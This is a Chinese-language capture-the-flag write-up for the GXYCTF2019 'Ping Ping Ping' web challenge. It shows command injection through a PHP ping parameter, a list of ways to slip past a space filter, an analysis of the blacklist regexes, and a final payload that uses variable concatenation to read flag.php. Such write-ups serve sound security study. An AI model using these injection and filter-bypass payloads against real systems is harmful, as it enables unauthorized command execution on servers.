目录

[GXYCTF2019]Ping Ping Ping

目录

[GXYCTF2019]Ping Ping Ping

初次访问:

https://pic.imgdb.cn/item/65352989c458853aefc5a61d.jpg

根据页面的提示/?ip=以及题目Ping Ping Ping可以猜测PING的IP可以通过GET型给参数ip传参

尝试输入?ip=8.8.8.8,页面回显ping 8.8.8.8的内容,说明猜测是正确的

https://pic.imgdb.cn/item/65352a5dc458853aefc8eab9.jpg

试试是否存在RCE漏洞,输入?ip=8.8.8.8;ls,发现执行了ls,说明存在RCE漏洞

https://pic.imgdb.cn/item/65352b3fc458853aefcce23e.jpg

想查看flag.php里的内容,输入?ip=8.8.8.8;cat flag.php,并没有得到预期的结果,发现其存在过滤机制,具体是什么机制还是未知,目前已知过滤空格

https://pic.imgdb.cn/item/65352d2ac458853aefd49338.jpg

空格的替代方式

  • $IFS$9=>cat$IFS$9flag.php
  • ${ IFS}=>cat${ IFS}flag.php
  • ${IFS}=>cat${IFS}flag.php
  • %09=>cat%09flag.php
  • <=>cat>flag.php
  • >=>cat<flag.php
  • <>=>cat<>flag.php
  • {,}=>{cat,flag.php}
  • %20(URL编码)

想办法绕过空格过滤,绕过空格过滤的方法有很多,一个个试,输入?ip=8.8.8.8;cat${IFS}flag.php,发现不是提示space而是symbol,说明除了空格还过滤了其他的符号

https://pic.imgdb.cn/item/653531a8c458853aefe771a7.jpg

直到输入?ip=8.8.8.8;cat$IFS$9flag.php,发现不提示space、symbol,而是flag,说明连flag都过滤了

https://pic.imgdb.cn/item/653532d3c458853aefec5501.jpg

这时候就该蒙圈了,由于几乎不清楚过滤机制的逻辑,稳妥做法是先绕过空格过滤,然后查看index.php的源码

输入?ip=8.8.8.8;cat$IFS$9index.php,查看到index,php里的源码

https://pic.imgdb.cn/item/653533ddc458853aeff0b53f.jpg

但怎么觉得这源码好像缺斤少两的,通过查看网页源代码获取到完整源码

https://pic.imgdb.cn/item/6535345dc458853aeff29094.jpg

重点看涉及到过滤机制的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }

先看第一个判断:

1
2
3
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");

preg_match()是一个通过正则来匹配字符串的函数,匹配成功返回1、失败返回0,即true or false

格式大致为preg_match(["/正则规则/"],["接受匹配的字符串"],[用于存储匹配结果的数组])

(用于存储匹配结果的数组可有可无)

可以这么理解,如果"接受匹配的字符串"符合"/正则规则/",则返回个1,反之0

再来看正则部分,正则规则被包含在两个/

正则的内容是:\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}

[\x{00}-\x{1f}]的意思是将匹配字符串中包含 Unicode 编码范围从 00 到 1F 的所有字符。

整条正则的意思是只要$ip里有& / ? * < > ' " \ ( ) [ ] { } 以及 Unicode 编码范围从 00 到 1F 的所有字符如回车、换行等的字符就匹配成功

再看第二个判断:

1
2
3
else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  }

正则的内容是一个空格,意思是只要$ip里有空格就匹配成功

再看第三个判断:

1
2
3
else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  }

正则的内容是bash,意思是只要$ip里出现bash就匹配成功

再看第四个判断:

1
2
3
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }

正则的内容是.*f.*l.*a.*g.*,意思是只要$ip里依次出现f l a g就匹配成功,例如字符串:1f2l3a4g5就可以匹配成功

知道了过滤机制接下来就要去绕过,原始payload是?ip=8.8.8.8;cat flag.php,需要绕过的有:空格、flag

首先空格可以用$IFS$9代替

由于$;没有被过滤,所以可以用变量拼接来绕过正则.*f.*l.*a.*g.*,例如:a=ag;b=fl,这样flag就变成$b$a

最终的payload是:?ip=8.8.8.8;a=ag;b=fl;cat$IFS$9$b$a.php

https://pic.imgdb.cn/item/65353d62c458853aef1abc3d.jpg

查看页面源码,得到flag

https://pic.imgdb.cn/item/65353dbdc458853aef1c3d28.jpg

参考文章